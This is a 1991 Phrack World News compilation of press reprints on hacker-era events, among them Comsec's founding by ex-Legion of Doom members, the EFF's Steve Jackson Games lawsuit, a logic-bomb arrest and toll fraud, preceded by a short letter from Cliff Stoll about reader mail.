In 1989, I wrote, "The Cuckoo's Egg", the true story of how we tracked down a computer intruder. Figuring that a few people might wish to communicate with me, I included my e‑mail address in the book's forward.

To my astonishment, it became a bestseller and I've received a tidal wave of e‑mail. In 2 years, about 15,000 letters have arrived over four networks (Internet, Genie, Compuserve, and AOL). This suggests that about 1 to 3 percent of readers send e‑mail.

I've been amazed at the diversity of the questions and comments: ranging from comments on my use of "hacker" to improved chocolate chip cookie recipes. Surprisingly, very few flames and insulting letters arrived ‑ a few dozen or so.

I've tried to answer each letter individually; lately I've created a few macros to answer the most common questions. About 5% of my replies bounce, I wonder how many people don't get through.

I'm happy to hear from people; it's a gas to realize how far the book's reached (letters from Moscow, the South Pole, Finland, Japan, even Berkeley); but I'm going to spend more time doing astronomy and less time answering mail.

Cheers, Cliff Stoll cliff@cfa.harvard.edu stoll@ocf.berkeley.edu

PWN/Part02

==Phrack Inc.==

Volume Three, Issue Thirty‑Three, File 12 of 13

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue XXXIII / Part Two PWN

PWN PWN

PWN Compiled by Dispater PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Legion of Doom Goes Corporate

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The following is a compilation of several articles from by Michael Alexander of ComputerWorld Magazine about Comsec Data Security, Inc.

Comsec Data Security, Inc.

Chris Goggans a/k/a Erik Bloodaxe 60 Braeswood Square Scott Chasin a/k/a Doc Holiday Houston, Texas 77096 Kenyon Shulman a/k/a Malefactor (713)721‑6500 Robert Cupps ‑ Not a former computer hacker (713)721‑6579 FAX

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Hackers Promote Better Image (Page 124) June 24, 1991 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

HOUSTON ‑‑ Three self‑professed members of the Legion of Doom, one of the most notorious computer hacker groups to operate in the United States, said they now want to get paid for their skills. Along with a former securities trader, the members launched a computer security firm called Comsec Data Security that will show corporations how to keep hackers out.

"We have been in the computer security business for the last 11 years ‑just on the different end of the stick," said Scott Chasin who said he once used the handle Doc Holiday as a Legion of Doom member. The group has been defunct since late last year, Chasin said.

The start‑up firm plans to offer systems penetration testing, auditing, and training services as well as security products. "We have information that you can't buy in bookstores: We know why hackers hack, what motivates them, why they are curious," Chasin said.

Already, the start‑up has met with considerable skepticism.

"Would I hire a safecracker to be a security guy at my bank?" asked John Blackley, information security administrator at Capitol Holding Corporation in Louisville, Kentucky. "If they stayed straight for 5 to 10 years, I might reconsider, but 12 to 18 months ago, they were hackers, and now they have to prove themselves."

"You don't hire ne'er‑do‑wells to come and look at your system," said Tom Peletier, an information security specialist at General Motors Corporation. "The Legion of Doom is a known anti‑establishment group, and although it is good to see they have a capitalist bent, GM would not hire these people."

Comsec already has three contracts with Fortune 500 firms, Chasin said.

"I like their approach, and I am assuming they are legit," said Norman Sutton, a security consultant at Leemah Datacom Corporation in Hayward, California. His firm is close to signing a distribution pact with Comsec, Sutton said.

Federal law enforcers have described the Legion of Doom in indictments, search warrants, and other documents as a closely knit group of about 15 computer hackers whose members rerouted calls, stole and altered data and disrupted telephone service by entering telephone switches, among other activities.

The group was founded in 1984 and has had dozens of members pass through its ranks. Approximately 12 former members have been arrested for computer hacking‑related crimes; three former members are now serving jail sentences; and at least three others are under investigation. None of the Comsec founders have been charged with a computer‑related crime.

(Article includes a color photograph of all four founding members of Comsec)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

An Offer You Could Refuse? (Page 82) July 1, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~

Tom Peletier, an information security specialist at General Motors in Detroit, says he would never hire Comsec Data Security, a security consulting firm launched by three ex‑members of the Legion of Doom. "You don't bring in an unknown commodity and give them the keys to the kingdom," Peletier said. Chris Goggans, one of Comsec's founders, retorted: "We don't have the keys to their kingdom, but I know at least four people off the top of my head that do." Comsec said it will do a free system penetration for GM just to prove the security firm's sincerity, Goggans said. "All they have to do is sign a release form saying they won't prosecute."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Group Dupes Security Experts (Page 16) July 29, 1991 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

"Houston‑Based Comsec Fools Consultants To Gather Security Information"

HOUSTON ‑‑ Computer security consultants are supposed to know better, but at least six experts acknowledged last week that they were conned. The consultants said they were the victims of a bit of social engineering by Comsec Data Security, Inc., a security consulting firm recently launched.

Comsec masqueraded as a prospective customer using the name of Landmark Graphics Corporation, a large Houston‑area software publisher, to gather information on how to prepare business proposals and conduct security audits and other security industry business techniques, the consultants said.

Three of Comsec's four founders are self‑professed former members of the Legion of Doom, one of the nation's most notorious hacker groups, according to law enforcers.

"In their press release, they say, 'Our firm has taken a unique approach to its sales strategy,'" said one consultant who requested anonymity, citing professional embarrassment. "Well, social engineering is certainly a unique sales strategy."

Social engineering is a technique commonly used by hackers to gather information from helpful, but unsuspecting employees that may be used to penetrate a computer system.

"They are young kids that don't know their thumbs from third base about doing business, and they are trying to glean that from everybody else," said Randy March, director of consulting at Computer Security Consultants, Inc., in Ridgefield, Connecticut.

The consultants said gathering information by posing as a prospective customer is a common ploy, but that Comsec violated accepted business ethics by posing as an actual company.

"It is a pretty significant breech of business ethics to make the misrepresentation that they did," said Hardie Morgan, chief financial officer at Landmark Graphics. "They may not be hacking anymore, but they haven't changed the way they operate."

Morgan said his firm had received seven or eight calls from security consultants who were following up on information they had sent to "Karl Stevens," supposedly a company vice president.

SAME OLD STORY

The consultants all told Morgan the same tale: They had been contacted by "Stevens," who said he was preparing to conduct a security audit and needed information to sell the idea to upper management. "Stevens" had asked the consultants to prepare a detailed proposal outlining the steps of a security audit, pricing and other information.

The consultants had then been instructed to send the information by overnight mail to a Houston address that later proved to be the home of two of Comsec's founders. In some instances, the caller had left a telephone number that when called was found to be a constantly busy telephone company test number.

Morgan said "Stevens" had an intimate knowledge of the company's computer systems that is known only to a handful of employees. While there is no evidence that the company's systems were penetrated by outsiders, Landmark is "battering down its security hatches," Morgan said.

Posing as a prospective customer is not an uncommon way to gather competitive information, said Chris Goggans, one of Comsec's founders, who once used the handle of Erik Bloodaxe.

"Had we not been who we are, it would be a matter of no consequence," Goggans said.

"They confirm definitely that they called some of their competitors," said Michael Cash, an attorney representing Comsec. "The fact they used Landmark Graphics was an error on their part, but it was the first name that popped into their heads. They did not infiltrate Landmark Graphics in any way."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

"LEGION OF DOOM‑‑INTERNET WORLD TOUR" T‑SHIRTS!

Now you too can own an official Legion of Doom T‑shirt. This is the same shirt that sold‑out rapidly at the "Cyberview" hackers conference in St. Louis. Join the other proud owners such as award‑winning author Bruce Sterling by adding this collector's item to your wardrobe. This professionally made, 100 percent cotton shirt is printed on both front and back. The front displays "Legion of Doom Internet World Tour" as well as a sword and telephone intersecting the planet earth, skull‑and‑crossbones style. The back displays the words "Hacking for Jesus" as well as a substantial list of "tour‑stops" (internet sites) and a quote from Aleister Crowley. This T‑shirt is sold only as a novelty item, and is in no way attempting to glorify computer crime.

Shirts are only $15.00, postage included! Overseas add an additional $5.00. Send check or money‑order (No CODs, cash or credit cards‑‑even if it's really your card :‑) made payable to Chris Goggans to:

Chris Goggans

5300 N. Braeswood #4

Suite 181

Houston, TX 77096

________________________________________

Steve Jackson Games v. United States of America

~~~~~~~~~~~~~~~~~~~~~~~~

Articles reprinted from Effector Online 1.04 and 1.08 May 1, 1991 / August 24, 1991

"Extending the Constitution to American Cyberspace"

To establish constitutional protection for electronic media and to obtain redress for an unlawful search, seizure, and prior restraint on publication, Steve Jackson Games and the Electronic Frontier Foundation filed a civil suit against the United States Secret Service and others.

On March 1, 1990, the United States Secret Service nearly destroyed Steve Jackson Games (SJG), an award‑winning publishing business in Austin, Texas.

In an early morning raid with an unlawful and unconstitutional warrant, agents of the Secret Service conducted a search of the SJG office. When they left they took a manuscript being prepared for publication, private electronic mail, and several computers, including the hardware and software of the SJG Computer Bulletin Board System. Yet Jackson and his business were not only innocent of any crime, but never suspects in the first place. The raid had "been staged on the unfounded suspicion that somewhere in Jackson's office there "might be" a document compromising the security of the 911 telephone system.

In the months that followed, Jackson saw the business he had built up over many years dragged to the edge of bankruptcy. SJG was a successful and prestigious publisher of books and other materials used in adventure role‑playing games. Jackson also operated a computer bulletin board system (BBS) to communicate with his customers and writers and obtain feedback and suggestions on new gaming ideas. The bulletin board was also the repository of private electronic mail belonging to several of its users. This private mail was seized in the raid. Despite repeated requests for the return of his manuscripts and equipment, the Secret Service has refused to comply fully.

More than a year after that raid, the Electronic Frontier Foundation, acting with SJG owner Steve Jackson, has filed a precedent setting civil suit against the United States Secret Service, Secret Service Agents Timothy Foley and Barbara Golden, Assistant United States Attorney William Cook, and Henry Kluepfel.

"This is the most important case brought to date," said EFF general counsel Mike Godwin, "to vindicate the Constitutional rights of the users of computer‑based communications technology. It will establish the Constitutional dimension of electronic expression. It also will be one of the first cases that invokes the Electronic Communications Privacy Act as a shield and not as a sword ‑‑ an act that guarantees users of this digital medium the same privacy protections enjoyed by those who use the telephone and the U.S. Mail."

Commenting on the overall role of the Electronic Frontier Foundation in this case and other matters, EFF's president Mitch Kapor said, "We have been acting as an organization interested in defending the wrongly accused. But the Electronic Frontier Foundation is also going to be active in establishing broader principles. We begin with this case, where the issues are clear. But behind this specific action, the EFF also believes that it is vital that government, private entities, and individuals who have violated the Constitutional rights of individuals be held accountable for their actions. We also hope this case will help demystify the world of computer users to the general public and inform them about the potential of computer communities."

Representing Steve Jackson and the Electronic Frontier Foundation in this suit are Harvey A. Silverglate and Sharon L. Beckman of Silverglate & Good of Boston; Eric Lieberman and Nick Poser of Rabinowitz, Boudin, Standard, Krinsky & Lieberman of New York; and James George, Jr. of Graves, Dougherty, Hearon & Moody of Austin, Texas.

Copies of the complaint, the unlawful search warrant, statements by Steve Jackson and the Electronic Frontier Foundation, a legal fact sheet and other pertinent materials are available by request from the EFF.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Also made available to members of the press and electronic media on request were the following statement by Mitchell Kapor and a legal fact sheet prepared by Sharon Beckman and Harvey Silverglate of Silverglate & Good, the law firm central to the filing of this lawsuit.

"Why the Electronic Frontier Foundation Is Bringing Suit On Behalf of Steve Jackson"

With this case, the Electronic Frontier Foundation begins a new phase of affirmative legal action. We intend to fight for broad Constitutional protection for operators and users of computer bulletin boards.

It is essential to establish the principle that computer bulletin boards and computer conferencing systems are entitled to the same First Amendment rights enjoyed by other media. It is also critical to establish that operators of bulletin boards ‑‑ whether individuals or businesses ‑‑ are not subject to unconstitutional, overbroad searches and seizures of any of the contents of their systems, including electronic mail.

The Electronic Frontier Foundation also believes that it is vital to hold government, private entities, and individuals who have violated the Constitutional rights of others accountable for their actions.

Mitchell Kapor,

President, The Electronic Frontier Foundation

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

"Legal Fact Sheet: Steve Jackson Games v. United States Secret Service, et al"

This lawsuit seeks to vindicate the rights of a small, successful entrepreneur/publisher to conduct its entirely lawful business, free of unjustified governmental interference. It is also the goal of this litigation to firmly establish the principle that lawful activities carried out with the aid of computer technology, including computer communications and publishing, are entitled to the same constitutional protections that have long been accorded to the print medium. Computers and modems, no less than printing presses, typewriters, the mail, and telephones ‑being the methods selected by Americans to communicate with one another ‑‑ are all protected by our constitutional rights.

Factual Background and Parties:

Steve Jackson, of Austin, Texas, is a successful small businessman. His company, Steve Jackson Games, is an award‑ winning publisher of adventure games and related books and magazines. In addition to its books and magazines, SJG operates an electronic bulletin board system (the Illuminati BBS) for its customers and for others interested in adventure games and related literary genres.

Also named as plaintiffs are various users of the Illuminati BBS. The professional interests of these users range from writing to computer technology.

Although neither Jackson nor his company were suspected of any criminal activity, the company was rendered a near fatal blow on March 1, 1990, when agents of the United States Secret Service, aided by other law enforcement officials, raided its office, seizing computer equipment necessary to the operation of its publishing business. The government seized the Illuminati BBS and all of the communications stored on it, including private electronic mail, shutting down the BBS for over a month. The Secret Service also seized publications protected by the First Amendment, including drafts of the about‑to‑be‑released role playing game book GURPS Cyberpunk. The publication of the book was substantially delayed while SJG employees rewrote it from older drafts. This fantasy game book, which one agent preposterously called "a handbook for computer crime," has since sold over 16,000 copies and been nominated for a prestigious game industry award. No evidence of criminal activity was found.

The warrant application, which remained sealed at the government's request for seven months, reveals that the agents were investigating an employee of the company whom they believed to be engaged in activity they found questionable at his home and on his own time. The warrant application further reveals not only that the Secret Service had no reason to think any evidence of criminal activity would be found at SJG, but also that the government omitted telling the Magistrate who issued the warrant that SJG was a publisher and that the contemplated raid would cause a prior restraint on constitutionally protected speech, publication, and association.

The defendants in this case are the United States Secret Service and the individuals who, by planning and carrying out this grossly illegal search and seizure, abused the power conferred upon them by the federal government. Those individuals include Assistant United States Attorney William J. Cook, Secret Service Agents Timothy M. Foley and Barbara Golden, as well Henry M. Kluepfel of Bellcore, who actively participated in the unlawful activities as an agent of the federal government.

These defendants are the same individuals and entities responsible for the prosecution last year of electronic publisher Craig Neidorf. The government in that case charged that Neidorf's publication of materials concerning the enhanced 911 system constituted interstate transportation of stolen property. The prosecution was resolved in Neidorf's favor in July of 1990 when Neidorf demonstrated that materials he published were generally available to the public.

Legal Significance:

This case is about the constitutional and statutory rights of publishers who conduct their activities in electronic media rather than in the traditional print and hard copy media, as well as the rights of individuals and companies that use computer technology to communicate as well as to conduct personal and business affairs generally.

The government's wholly unjustified raid on SJG, and seizure of its books, magazines, and BBS, violated clearly established statutory and constitutional law, including:

o The Privacy Protection Act of 1980, which generally prohibits the government from searching the offices of publishers for work product and other documents, including materials that are electronically stored;

o The First Amendment to the U. S. Constitution, which guarantees freedom of speech, of the press and of association, and which prohibits the government from censoring publications, whether in printed or electronic media.

o The Fourth Amendment, which prohibits unreasonable governmental searches and seizures, including both general searches and searches conducted without probable cause to believe that specific evidence of criminal activity will be found at the location searched.

o The Electronic Communications Privacy Act and the Federal Wiretap statute, which together prohibit the government from seizing electronic communications without justification and proper authorization.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

STEVE JACKSON GAMES UPDATE: THE GOVERNMENT FILES ITS RESPONSE

After several delays, the EFF has at last received the government's response to the Steve Jackson Games lawsuit. Our attorneys are going over these documents carefully and we'll have more detailed comment on them soon.

Sharon Beckman, of Silverglate and Good, one of the leading attorneys in the case said:

"In general, this response contains no surprises for us. Indeed, it confirms that events in this case transpired very much as we thought that they did. We continue to have a very strong case. In addition, it becomes clearer as we go forward that the Steve Jackson Games case will be a watershed piece of litigation when it comes to extending constitutional guarantees to this medium."

________________________________________

Feds Arrest "Logic Bomber" July 1, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~

by Michael Alexander (ComputerWorld)(Page 10)

SAN DIEGO ‑‑ Federal agents arrested a disgruntled programmer last week for allegedly planting a logic bomb designed to wipe out programs and data related to the U.S. government's billion‑dollar Atlas Missile program. According to law enforcers, the programmer hoped to be rehired by General Dynamics Corporation, his former employer and builder of the missile as a high‑priced consultant to repair the damage.

Michael J. Lauffenburger, age 31, who is accused of planting the bomb, was arrested after a co‑worker accidentally discovered the destructive program on April 10, 1991, disarmed it and alerted authorities. Lauffenburger had allegedly programmed the logic bomb to go off at 6 p.m. on May 24, 1991 during the Memorial Day holiday weekend and then self‑destruct.

Lauffenburger is charged with unauthorized access of a federal‑interest computer and attempted computer fraud. If convicted, he could be imprisoned for up to 10 years and fined $500,000. Lauffenburger pleaded innocent and was released on $10,000 bail.

The indictment said that while Lauffenburger was employed at the General Dynamics Space Systems Division plant in San Diego, he was the principle architect of a database program known as SAS.DB and PTP, which was used to track the availability and cost of parts used in building the Atlas missile.

On March 20, he created a program called Cleanup that, when executed, would have deleted the PTP program, deleted another set of programs used to respond to government requests for information, and then deleted itself without a trace, according to Mitchell Dembin, the assistant U.S. attorney handling the case.

PWN/Part03

==Phrack Inc.==

Volume Three, Issue Thirty‑Three, File 13 of 13

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue XXXIII / Part Three PWN

PWN PWN

PWN Compiled by Dispater PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Pentagon Welcomes Hackers! September 9, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~

>From USA Today

The FBI is investigating an Israeli teen's claim that he broke into a Pentagon computer during the gulf war. An Israeli newspaper Sunday identified the hacker as Deri Shraibman, 18. He was arrested in Jerusalem Friday but released without being charged. Yedhiot Ahronot said Shraibman read secret information on the Patriot missle ‑‑ used for the first time in the war to destroy Iraq's Scud missles in midflight.

"Nowhere did it say 'no entry allowed'," Shraibman was quoted as telli police. "It just said 'Welcome.'" The Pentagon's response: It takes "computer security very seriously," spokesman Air Force Capt. Sam Grizzle said Sunday. Analysts say it isn't the first time military computers have been entered. "No system of safeguards exists ... that is 100% secure," says Alan Sabrosky, professor at Rhodes College in Memphis.

________________________________________

Telesphere Sued By Creditors; Forced Into Bankruptcy

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Compiled from Telecom Digest (comp.dcom.telecom)

On Monday, August 19, Telesphere Communications, Inc. was sued by a group of ten creditors who claim the company best known for its 900 service isn't paying its bills. The group of creditors, all information providers using 900 lines provided through Telesphere claim they are owed two million dollars in total for services rendered through their party lines, sports reports, horoscopes, sexual conversation lines and other services. They claim Telesphere has not paid them their commissions due for several months. The group of creditors filed in U.S. Bankruptcy Court in Maryland asking that an Involuntary Chapter 7 bankruptcy (meaning, liquidation of the company and distribution of all assets to creditors) be started against Telesphere.

The company said it will fight the effort by creditors to force it into bankruptcy. A spokesperson also said the company has already settled with more than 50 percent of its information providers who are owed money. Telesphere admitted it had a serious cash flow problem, but said this was due to the large number of uncollectible bills the local telephone companies are charging back to them. When end‑users of 900 services do not pay the local telco, the telco in turn does not pay the 900 carrier ‑‑ in this case Telesphere ‑‑ and the information provider is charged for the call from a reserve each is required to maintain.

But the information providers dispute the extent of the uncollectible charges. They claim Telesphere has never adequately documented the charges placed against them (the information providers) month after month. In at least one instance, an information provider filed suit against an end‑user for non‑payment only to find out through deposition that the user HAD paid his local telco, and the local telco HAD in turn paid Telesphere. The information providers allege in their action against the company that Telesphere was in fact paid for many items charged to them as uncollectible, "and apparently are using the money to finance other aspects of their operation at the expense of one segment of their creditors; namely the information providers..." Telesphere denied these allegations.

Formerly based here in the Chicago area (in Oak Brook, IL), Telesphere is now based in Rockville, MD.

________________________________________

Theft of Telephone Service From Corporations Is Surging August 28, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Edmund L. Andrews (New York Times)

"It is by far the largest segment of communications fraud," said Rami Abuhamdeh, an independent consultant and until recently executive director of the Communications Fraud Control Association in McLean, Va. "You have all this equipment just waiting to answer your calls, and it is being run by people who are not in the business of securing telecommunications."

Mitsubishi International Corp. reported losing $430,000 last summer, mostly from calls to Egypt and Pakistan. Procter & Gamble Co. lost $300,000 in l988. The New York City Human Resources Administration lost $529,000 in l987. And the Secret Service, which investigates such telephone crime, says it is now receiving three to four formal complaints every week, and is adding more telephone specialists.

In its only ruling on the issue thus far, the Federal Communications Commission decided in May that the long‑distance carrier was entitled to collect the bill for illegal calls from the company that was victimized. In the closely watched Mitsubishi case filed in June, the company sued AT&T for $10 million in the U.S. District Court in Manhattan, arguing that not only had it made the equipment through which outsiders entered Mitsubishi's phone system, but that AT&T, the maker of the switching equipment, had also been paid to maintain the equipment.

For smaller companies, with fewer resources than Mitsubishi, the problems can be financially overwhelming. For example, WRL Group, a small software development company in Arlington, Va., found itself charged for 5,470 calls it did not make this spring after it installed a toll‑free 800 telephone number and a voice mail recording system machine to receive incoming calls. Within three weeks, the intruders had run up a bill of $106,776 to US Sprint, a United Telecommunications unit.

In the past, long‑distance carriers bore most of the cost, since the thefts were attributed to weaknesses in their networks. But now, the phone companies are arguing that the customers should be liable for the cost of the calls, because they failed to take proper security precautions on their equipment.

Consumertronics, a mail order company in Alamogordo, N.M., sells brochures for $29 that describe the general principles of voice mail hacking and the particular weaknesses of different models. Included in the brochure is a list of 800 numbers along with the kind of voice mail systems to which they are connected. "It's for educational purposes," said the company's owner, John Williams, adding that he accepts Mastercard and Visa. Similar insights can be obtained from "2600 Magazine", a quarterly publication devoted to telephone hacking that is published in Middle Island, N.Y.

________________________________________

Proctor & Gamble August 22, 1991

~~~~~~~~~~~~~~~~

Compiled from Telecom Digest

On 8‑12‑91, the "Wall Street Journal" published a front page story on an investigation by Cincinnati police of phone records following a request by Procter & Gamble Co. to determine who might have furnished inside information to the "Wall Street Journal". The information, ostensibly published between March 1st and June 10th, 1991, prompted P&G to seek action under Ohio's Trade Secrets Law. In respect to a possible violation of this law, a Grand Jury issued a subpoena for records of certain phone calls placed to the Pittsburgh offices of the "Wall Street Journal" from the Cincinnati area, and to the residence of a "Wall Street Journal" reporter. By way of context, the Pittsburgh offices of the "Wall Street Journal" allegedly were of interest in that Journal reporter Alecia Swasy was principally responsible for covering Procter & Gamble, and worked out of the Pittsburgh office.

On 8‑13‑91, CompuServe subscriber Ryck Bird Lent related the Journal story to other members of CompuServe's TELECOM.ISSUES SIG. He issued the following query:

"Presumably, the records only show that calls were placed between two numbers, there's no content available for inspection. But what if CB had voice mail services? And what if the phone number investigations lead to online service gateways (MCI MAil, CIS), are those also subject to subpoena?"

At the time of Mr. Lent's post, it was known that the "Wall Street Journal" had alleged a large amount of phone company records had been provided by Cincinnati Bell to local police. An exact figure did not appear in Lent's comments. Thus, I can't be certain if the Journal published any such specific data on 8‑12‑91 until I see the article in question.

On 8‑14‑91, the Journal published further details on the police investigation into possible violation of the Ohio Trade Secrets Law. The Journal then asserted that a Grand Jury subpoena was issued and used by the Cincinnati Police to order Cincinnati Bell to turn over phone records spanning a 15‑week period of time, covering 40 million calls placed from the 655 and 257 prefixes in the 513 area code. The subpoena was issued, according to the "Wall Street Journal", only four working days after a June 10th, 1991 article on problems in P&G's food and beverage markets.

Wednesday [8‑14‑91], the Associated Press reported that P&G expected no charges to be filed under the police investigation into possible violations of the Ohio Trade Secrets Law. P&G spokesperson Terry Loftus was quoted to say: "It did not produce any results and is in fact winding down". Lotus went on to explain that the company happened to "conduct an internal investigation which turned up nothing. That was our first step. After we completed that internal investigation, we decided to turn it over to the Cincinnati Police Department".

Attempts to contact Gary Armstrong, the principal police officer in charge of the P&G investigation, by the Associated Press prior to 8‑14‑91 were unsuccessful. No one else in the Cincinnati Police Department would provide comment to AP.

On 8‑15‑91, the Associated Press provided a summary of what appeared in the 8‑14‑91 edition of the "Wall Street Journal" on the P&G investigation. In addition to AP's summary of the 8‑14‑91 Journal article, AP also quoted another P&G spokesperson ‑‑ Sydney McHugh. Ms. McHugh more or less repeated Loftus' 8‑13‑91 statement with the following comments: "We advised the local Cincinnati Police Department of the matter because we thought it was possible that a crime had been committed in violation of Ohio law. They decided to conduct an independent investigation."

Subsequent to the 8‑14‑91 article in the Journal, AP had once again attempted to reach Officer Gary Armstrong with no success. Prosecutor Arthur M. Ney has an unpublished home phone number and was therefore unavailable for comment on Wednesday evening [08‑14‑91], according to AP.

In the past few weeks, much has appeared in the press concerning allegations that P&G, a local grand jury, and/or Cincinnati Police have found a "novel" way to circumvent the First Amendment to the U.S. Constitution. In its 8‑15‑91 summary of the 8‑14‑91 Journal article, AP quoted Cincinnati attorney Robert Newman ‑‑ specializing in First Amendment issues ‑‑ as asserting: "There's no reason for the subpoena to be this broad. It's cause for alarm". Newman also offered the notion that: "P&G doesn't have to intrude in the lives of P&G employees, let alone everyone else".

The same AP story references Cincinnati's American Civil Liberties Union Regional Coordinator, Jim Rogers, similarly commenting that: "The subpoena is invasive for anyone in the 513 area code. If I called "The Wall Street Journal", what possible interest should P&G have in that?"

In a later 8‑18‑91 AP story, Cleveland attorney David Marburger was quoted as observing that "what is troublesome is I just wonder if a small business in Cincinnati had the same problem, would law enforcement step in and help them out?" Marburger also added, "it's a surprise to me," referring to the nature of the police investigation.

In response, Police Commander of Criminal Investigations, Heydon Thompson, told the Cincinnati Business Courier "Procter & Gamble is a newsmaker, but that's not the reason we are conducting this investigation." P&G spokesperson Terry Loftus responded to the notion P&G had over‑reacted by pointing out: "We feel we're doing what we must do, and that's protect the shareholders. And when we believe a crime has been committed, to turn that information over to the police."

Meanwhile, the {Cincinnati Post} published an editorial this past weekend ‑‑ describing the P&G request for a police investigation as "kind of like when the biggest guy in a pick‑up basketball game cries foul because someone barely touches him." Finally, AP referenced what it termed "coziness" between the city of Cincinnati and P&G in its 8‑18‑91 piece. In order to support this notion of coziness, Cincinnati Mayor David Mann was quoted to say: "The tradition here, on anything in terms of civic or charitable initiative, is you get P&G on board and everybody else lines up." As one who lived near Cincinnati for eight years, I recall Procter & Gamble's relationship with Cincinnati as rather cozy indeed.

________________________________________

Hacker Charged in Australia August 13; 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Associated Press reports from Melbourne that Nahshon Even‑Chaim, a 20‑year old computer science student, is being charged in Melbourne's Magistrates' Court on charges of gaining unauthorized access to one of CSIRO's (Australia's government research institute) computers, and 47 counts of misusing Australia's Telecom phone system for unauthorized access to computers at various US institutions, including universities, NASA, Lawrence Livermore Labs, and Execucom Systems Corp. of Austin, Texas, where it is alleged he destroyed important files, including the only inventory of the company's assets. The prosecution says that the police recorded phone conversations in which Even‑Chaim described some of his activities. No plea has been entered yet in the ongoing pre‑trial proceedings.

________________________________________

Dial‑a‑Pope Catching on in the U.S. August 17, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From the Toronto Star

The Vatican is reaching out to the world, but it looks as if Canada won't be heeding the call. In the U.S., if you dial a 900 number, you can get a daily spiritual pick‑me‑up from Pope John Paul II. The multilingual, Vatican ‑authorized service, affectionately known as Dial‑a‑Pope, is officially titled "Christian Messaging From the Vatican." A spokesman from Bell Canada says there is no such number in this country. But Des Burge, director of communications for the Archdiocese of Toronto, says he thinks the service, for which U.S. callers pay a fee, is a good way to help people feel more connected to the Pope. (Toronto Star)

________________________________________

PWN Quicknotes

~~~~~~~~~~~~~~

1. Agent Steal is sitting in a Texas jail awaiting trial for various crimes including credit card fraud and grand theft auto.

________________________________________

2. Blue Adept is under investigation for allegedly breaking into several computer systems including Georgia Tech and NASA.

________________________________________

3. Control C had his fingerprints, photographs, and a writing sample subpoenaed by a Federal Grandy Jury after Michigan Bell employees, and convicted members of the Legion of Doom (specifically The Leftist and the Urvile) gave testimony.

Control C was formerly an employee of Michigan Bell in their security department until January 1990, when he was fired about the same time as the raids took place on Knight Lightning, Phiber Optic, and several others. Control C has not been charged with a crime, but the status of the case remains uncertain.

________________________________________

4. Gail Thackeray, a special deputy attorney in Maricopa County in Arizona, has been appointed vice president at Gatekeeper Telecommunications Systems, Inc., a start‑up in Dallas. Thackeray was one of the law enforcers working on Operation Sun‑Devil, the much publicized state and federal crackdown on computer crime. Gatekeeper has developed a device that it claims is a foolproof defense against computer hackers. Thackeray said her leaving will have little impact on the investigation, but one law enforcer who asked not to be identified, said it is a sure sign the investigation in on the skids. (ComputerWorld, June 24, 1991, page 126)

________________________________________

5. Tales Of The Silicon Woodsman ‑‑ Larry Welz, the notorious 1960s underground cartoonist, has gone cyberpunk. He recently devoted an entire issue of his new "Cherry" comice to the adventures of a hacker who gets swallowed by her computer and hacks her way through to the Land of Woz. (ComputerWorld, July 1, 1991, page 82)

________________________________________

6. The Free Software Foundation (FSF), founded on the philosophy of free software and unrestricted access to computers has pulled some of its computers off the Internet after malicious hackers <MOD> repeatedly deleted the group's files. The FSF also closed the open accounts on the system to shut out the hackers who were using the system to ricochet into computers all over the Internet following several complaints from other Internet users. Richard Stallman, FSF director and noted old‑time hacker, refused to go along with his employees ‑‑ although he did not overturn the decision ‑‑ and without password access has been regulated to using a stand‑alone machine without telecom links to the outside world. (ComputerWorld, July 15, 1991, page 82)

________________________________________

7. The heads of some Apple Macintosh user groups have received a letter from the FBI seeking their assistance in a child‑kidnapping case. The FBI is querying the user group leaders to see if one of their members fits the description of a woman who is involved in a custody dispute. It's unclear why the FBI believes the fugitive is a Macintosh user. (ComputerWorld, July 29, 1991, page 90)

________________________________________

8. Computer viruses that attack IBM PCs and compatibles are nearing a milestone of sorts. Within the next few months, the list of viruses will top 1,000 according to Klaus Brunnstein, a noted German computer virus expert. He has published a list of known malicious software for MS‑DOS systems that includes 979 viruses and 19 trojans. In all, there are 998 pieces of "malware," Brunnstein said.

(ComputerWorld, July 29, 1991, page 90)

________________________________________

9. High Noon on the Electronic Frontier ‑‑ This fall the Supreme Court of the United States may rule on the appealed conviction from U.S. v. Robert Tappan Morris. You might remember that Morris is the ex‑Cornell student who accidentially shut down the Internet with a worm program. Morris is also featured in the book "Cyberpunk" by Katie Hafner and John Markoff.

________________________________________

